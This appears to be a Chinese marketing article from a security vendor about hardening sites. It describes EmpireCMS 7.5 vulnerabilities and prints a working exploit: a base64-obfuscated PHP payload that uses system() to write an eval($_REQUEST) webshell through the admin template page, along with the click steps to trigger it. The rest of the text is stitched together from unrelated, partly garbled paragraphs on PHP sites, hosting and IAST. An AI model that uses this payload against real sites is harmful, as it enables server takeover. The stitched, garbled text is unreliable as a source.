南宁小程序防入侵安全加固方案

sine安全进行全面的黑箱安全测试，对相应的网站漏洞进行修复，对入侵的痕迹进行分析来制定相应的网站防篡改方案，对重要的登录页面，进行二次身份验证。修复漏洞不单是对BUG的修复，而是跟网站紧密结合在一起，进行行之有效的安全解决方案，即要修复网站的漏洞，也要保证网站的各个功能正常使用，还要保证网站的正常运营。
近我们SINE安全在对帝国CMS系统进行代码安全审计的时候，发现该系统存在漏洞，受影响的版本是EmpireCMS V7.5，从帝国下载到本地，我们人工对其代码进行详细的漏洞检测与安全代码分析。共计发现三个高危漏洞，都是在的后台管理页面上的功能发现的。该漏洞的产生，根源的问题是没有对get,post提交方式进行严格的安**验与过滤，导致可以插入恶意代码到后端服务器中去处理，导致漏洞的发生。帝国CMS系统，简单给大家介绍一下，目前很多站长，以及企业建站，使用该套系统，快速，便捷，易于搜索引擎收录，采用的是B/S架构开发，php语言+Mysql数据库，支持大并发同时访问，可以承载较多的用户快速的访问的各个页面与内容，模板自定义化，可以设置标签与自行设计外观，静态html生成，还有采集功能，深受广大站长和运营者的喜欢。我们SINE安全技术在对该代码进行安全检测与渗透测试的手，会先大体看下代码，熟悉整个的架构，数据库配置文件，以及调用到的文件，通常调用到的安全规则是如何写的，多个方面去大体的了解该代码，目前渗透测试中，发现的漏洞有：SQL注入漏洞，敏感信息泄露，初始化安装功能漏洞，直行平行越权逻辑漏洞，任意文件上传漏洞，登录绕过漏洞，短信验证码漏洞，找回密码漏洞，数据库备份webshell，XSS跨站,CSRF漏洞等待。
首先我们检测到的是帝国安装代码功能上存在可以插入恶意代码漏洞，在install安装目录下的index.php文件中，可以查到表的前缀，也就是获取前端提交过来的参数，然后继续往下看，data目录下的fun.php代码里的参数并没有做任何的安**验，导致可以直接插入恶意代码写入到配置文件config.php中去。漏洞详情如下图：
后台还存在get webshell漏洞，打开后台管理功能页面，选择管理首页模板，紧接着右键点击增加首页方案中，复制漏洞exp代码：<?php $aa = base64_decode(ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA)${(system)($aa)};?>  解密base64后是：ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA=>echo '<?php eval($_REQUEST[hp]);'>.php写到模板内容页面里，左键点击提交，再点击启用此方案，就在会e/admin/template/文件夹下生成一个.php文件。
关于帝国CMS漏洞的修复办法，对所有的get,post请求做安全过滤，也可以直接在eaddslashes2的参数里增加恶意代码的机制，先检测后放行，该漏洞的利用条件是需要有后台管理员权限，利用的不是太多，建议对后台的管理目录进行更改，或者直接将管理员的密码设置的复杂一些。如果您对漏洞修复不是太懂的话，也可以找的安全公司来处理，国内SINE安全，启**辰，绿盟，都是比较不错的，漏洞经常出现，也请的运营者多多关注EmpireCMS的，一有补丁就立即修复掉，将安全损失降到低。

这个问题我认为针对题主来讲实际上实际意义并不大了。以便描述便捷这儿何不先建立一个“非难题”的定义。说白了“非难题”，便是围观者非）会传出的难题，而被告方并不考虑到的难题。举个例子，你一直在报名参加一场考試，我还在做旁观者，考卷做完了我发现了你绝大多数回选B，随后我说“为何你的单选题大部分是选B”？这就是个非难题，由于做为被告方你来说，并不会有“我想多选B”那样的考虑，你所考虑到的仅仅解每个题罢了。过后你能寻找各式各样造成出現许多选B的缘故，但没啥实际意义，由于下一次考試你肯定不会考虑到这种缘故。“为何被渗透的网站大部分是PHP开发设计的？

选择安全的主机商，不过选择完主机商之后我们也要时刻查看主机其他的用户，看一下他们网站的情况，毕竟他们受惩罚了，我们也会受到牵连。选择安全的网站程序。如今CMS是行业共识，不过选择CMS一定要选择主流程序，因为发现安全漏洞可以跟得上网站及时打补丁以防再被入侵。网站要MD5加密，因为使用主流CMS的时候会无形中加大交流的可能性，所以这时候网站一定要加密。

软件测试阶段：交互式安全测试 (IAST)，IAST 通过代理、* 或者服务端 Agent 方式无感知获取功能测试人员测试交互流量，基于模糊测试 (fuzz) 思想对流量进行攻击代码随机插入和攻击流量构建，并自动化对被测程序进行安全测试，同时可准确确定漏洞所在的代码文件、行数、函数及参数。
上线迭代阶段：常态化安全运营，对项目上线后所在的服务器资产、中间件以及项目本身进行 7*24 小时周期性安全检查，相当于有一个安全团队或渗透测试全天候管理线上资产、站点以及中间依赖的安全问题，有效确保安全健壮性。
网站防入侵和防攻击等问题必须由我们安全技术来解决此问题，术业有专攻。